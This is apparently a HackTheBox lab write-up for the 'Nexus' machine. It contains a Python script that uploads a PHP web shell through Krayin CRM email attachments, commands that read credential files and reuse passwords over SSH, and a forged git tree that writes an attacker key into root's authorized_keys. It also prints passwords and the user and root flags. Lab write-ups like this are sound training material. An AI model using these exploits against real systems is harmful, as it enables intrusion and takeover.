HackTheBox Writeup - Nexus
This walkthrough details the complete, step-by-step methodology to compromise and obtain root access on the Nexus machine from HackTheBox.
1. Phase 1: Reconnaissance & Port Scanning
We start by performing a full TCP port scan using nmap to discover open ports and service details on the target IP (10.129.234.54).
1
nmap -sC -sV -p- --min-rate 5000 -oN nmap_full.txt 10.129.234.54
Scan Results
The scan reveals only two active services:
- Port 22 (SSH): OpenSSH 9.6p1 (Ubuntu Linux)
- Port 80 (HTTP): nginx 1.24.0
The HTTP service on port 80 redirects requests to http://nexus.htb/. We add the domain and its discovered subdomains to our local /etc/hosts file:
1
10.129.234.54 nexus.htb git.nexus.htb billing.nexus.htb
2. Phase 2: Web Vhost Enumeration & Credential Hunting
Virtual Hosts Discovered
nexus.htb: A static corporate website for the Nexus Energy Authority.git.nexus.htb: A self-hosted Gitea Git service interface.billing.nexus.htb: A Krayin CRM (Laravel) instance with an admin panel located at/admin/login.
Crawling Gitea
On Gitea, we discover a public repository named admin/krayin-docker-setup. We examine the repository’s commit logs to search for configuration leaks:
1
2
3
git clone http://git.nexus.htb/admin/krayin-docker-setup
cd krayin-docker-setup
git log -p
Inside the commit history (specifically at commit 1615c465b7), we find a deleted .env file containing the initial configuration parameters:
APP_NAME='Krayin CRM'
APP_DEBUG=true
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=N27xh!!2ucY04
We also gather potential usernames from Gitea profiles and public corporate emails, identifying:
adminjonesj.matthew@nexus.htb(Hiring Manager)
3. Phase 3: Exploiting Krayin CRM (Foothold - CVE-2026-36340)
Using the email j.matthew@nexus.htb and the database password N27xh!!2ucY04 found in the Gitea history, we successfully authenticate to the Krayin CRM admin dashboard at billing.nexus.htb/admin/login.
Analyzing File Upload Handling
Inside Krayin CRM, we investigate the Compose Email feature (POST /admin/mail/create).
Reviewing the backend PHP repository code for the attachment controller shows that when an email is drafted or sent, files inside the attachments request array are saved using the client-original filename directly into the public storage folder under /storage/emails/{email_id}/{filename}:
1
2
3
// From AttachmentRepository.php:
$path = 'emails/'.$email->id.'/'.$name;
Storage::put($path, $content);
Crucially, the server performs no extension validation or filename sanitization on these email attachments.
Uploading a PHP Web Shell
We craft an HTTP POST request to upload a PHP shell named shell.php with the parameter is_draft=1 so it is immediately saved to drafts without attempting outbound SMTP delivery:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests, re
session = requests.Session()
# Authenticate
r = session.get("http://billing.nexus.htb/admin/login")
csrf = re.search(r'name="_token"\s+value="([^"]+)"', r.text).group(1)
session.post("http://billing.nexus.htb/admin/login", data={"_token": csrf, "email": "j.matthew@nexus.htb", "password": "N27xh!!2ucY04"})
# Get mail CSRF
r_mail = session.get("http://billing.nexus.htb/admin/mail/inbox")
csrf_mail = re.search(r'name="_token"\s+value="([^"]+)"', r_mail.text).group(1)
# Upload shell
headers = {
"X-CSRF-TOKEN": csrf_mail,
"X-Requested-With": "XMLHttpRequest",
"Accept": "application/json"
}
files = {"attachments[0]": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/octet-stream")}
data = {
"_token": csrf_mail,
"reply_to[0]": "j.matthew@nexus.htb",
"reply": "pwn",
"subject": "pwn",
"is_draft": "1"
}
r_upload = session.post("http://billing.nexus.htb/admin/mail/create", data=data, files=files, headers=headers)
print(r_upload.json())
The server returns:
1
2
3
4
5
6
7
8
9
10
11
12
{
"data": {
"id": 2,
"attachments": [
{
"name": "shell.php",
"path": "emails/2/shell.php",
"url": "http://billing.nexus.htb/storage/emails/2/shell.php"
}
]
}
}
Remote Code Execution
We trigger our web shell via HTTP to execute system commands as the web server user www-data:
1
curl -s "http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id;whoami"
1
2
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
4. Phase 4: System Enumeration & User Pivot
With local access on the server, we read the active .env configuration file of the CRM app at /var/www/krayin/.env to check for further credential leaks:
1
curl -s "http://billing.nexus.htb/storage/emails/2/shell.php?cmd=cat+/var/www/krayin/.env"
Inside the file, we find the real database password used on the host database:
DB_PASSWORD=y27xb3ha!!74GbR
SSH Login (jones)
Since the developer username jones is active on the system, we attempt password reuse with this password over SSH:
1
sshpass -p 'y27xb3ha!!74GbR' ssh jones@10.129.234.54
The login is successful! We retrieve the user flag from /home/jones/user.txt:
1
fe8486cdc54d3532e879aa0d6fbab2b2
5. Phase 5: Privilege Escalation to Root
While inspecting system timers, we locate a systemd timer /etc/systemd/system/gitea-template-sync.timer that executes /usr/bin/python3 /etc/gitea/template-sync.py as root every minute.
Analyzing the Sync Script
We read /etc/gitea/template-sync.py and inspect the bare repository unpacking loop:
1
2
3
4
5
6
7
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)
try:
os.makedirs(target_dir, exist_ok=True)
with open(target, 'wb') as f:
f.write(cat_result.stdout)
The path construction os.path.join(stage_path, filepath) is vulnerable to Path Traversal. Because Python’s os.path.join preserves trailing segments containing directory traversal characters (like ..), a repository file entry named ../../../../../../../../../../root/.ssh/authorized_keys will bypass the staging path restrictions and write to the absolute path /root/.ssh/authorized_keys.
Since the sync service runs as root, it has the required permissions to modify the root user’s SSH configurations.
Custom Git Tree Injection
Because the standard git CLI client blocks users from creating files containing / and .. in their names at the index layer, we must write a custom commit directly into the git object database using Python on our local machine.
We write a script to generate the raw zlib-compressed tree object:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import zlib, hashlib, os
# Initialize repo
os.system("git init -b main")
# Write public key blob
key_content = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEjN7CaosAxTvhZuB8QYKEOUnLnbzYKW/xTpwDADCHhs whoami@acer\n"
blob_data = f"blob {len(key_content)}\x00".encode() + key_content
blob_sha = hashlib.sha1(blob_data).hexdigest()
blob_dir = f".git/objects/{blob_sha[:2]}"
os.makedirs(blob_dir, exist_ok=True)
with open(f"{blob_dir}/{blob_sha[2:]}", "wb") as f:
f.write(zlib.compress(blob_data))
# Construct tree referencing traversal path
bin_sha = bytes.fromhex(blob_sha)
filename = b"../../../../../../../../../../root/.ssh/authorized_keys"
entry = b"100644 " + filename + b"\x00" + bin_sha
tree_data = f"tree {len(entry)}\x00".encode() + entry
tree_sha = hashlib.sha1(tree_data).hexdigest()
tree_dir = f".git/objects/{tree_sha[:2]}"
os.makedirs(tree_dir, exist_ok=True)
with open(f"{tree_dir}/{tree_sha[2:]}", "wb") as f:
f.write(zlib.compress(tree_data))
# Create commit
commit_content = f"tree {tree_sha}\nauthor jones <j.matthew@nexus.htb> 1782676000 +0000\ncommitter jones <j.matthew@nexus.htb> 1782676000 +0000\n\npwn commit\n".encode()
commit_data = f"commit {len(commit_content)}\x00".encode() + commit_content
commit_sha = hashlib.sha1(commit_data).hexdigest()
commit_dir = f".git/objects/{commit_sha[:2]}"
os.makedirs(commit_dir, exist_ok=True)
with open(f"{commit_dir}/{commit_sha[2:]}", "wb") as f:
f.write(zlib.compress(commit_data))
# Update ref pointers
with open(".git/refs/heads/main", "w") as f:
f.write(commit_sha + "\n")
Pushing the Exploit Payload
We log into Gitea (git.nexus.htb) as jones with y27xb3ha!!74GbR and create a public repository pwn-template, marking it as a Template in repository settings.
We then push our custom tree branch to the repository:
1
2
git remote add origin http://git.nexus.htb/jones/pwn-template.git
git push -f http://jones:y27xb3ha%21%2174GbR@git.nexus.htb/jones/pwn-template.git main
Root Flag Recovery
We wait for one minute until the systemd timer triggers the synchronization service. Checking /var/log/template-sync.log confirms successful extraction:
1
[2026-06-28 19:49:02] synced: ../../../../../../../../../../root/.ssh/authorized_keys
Our public SSH key is now in the root configuration. We log in directly as root:
1
ssh -i ~/.ssh/id_ed25519 root@10.129.234.54
1
uid=0(root) gid=0(root) groups=0(root)
Root flag located at /root/root.txt:
1
91d8e45cf698e59ff1ba2283e79ac723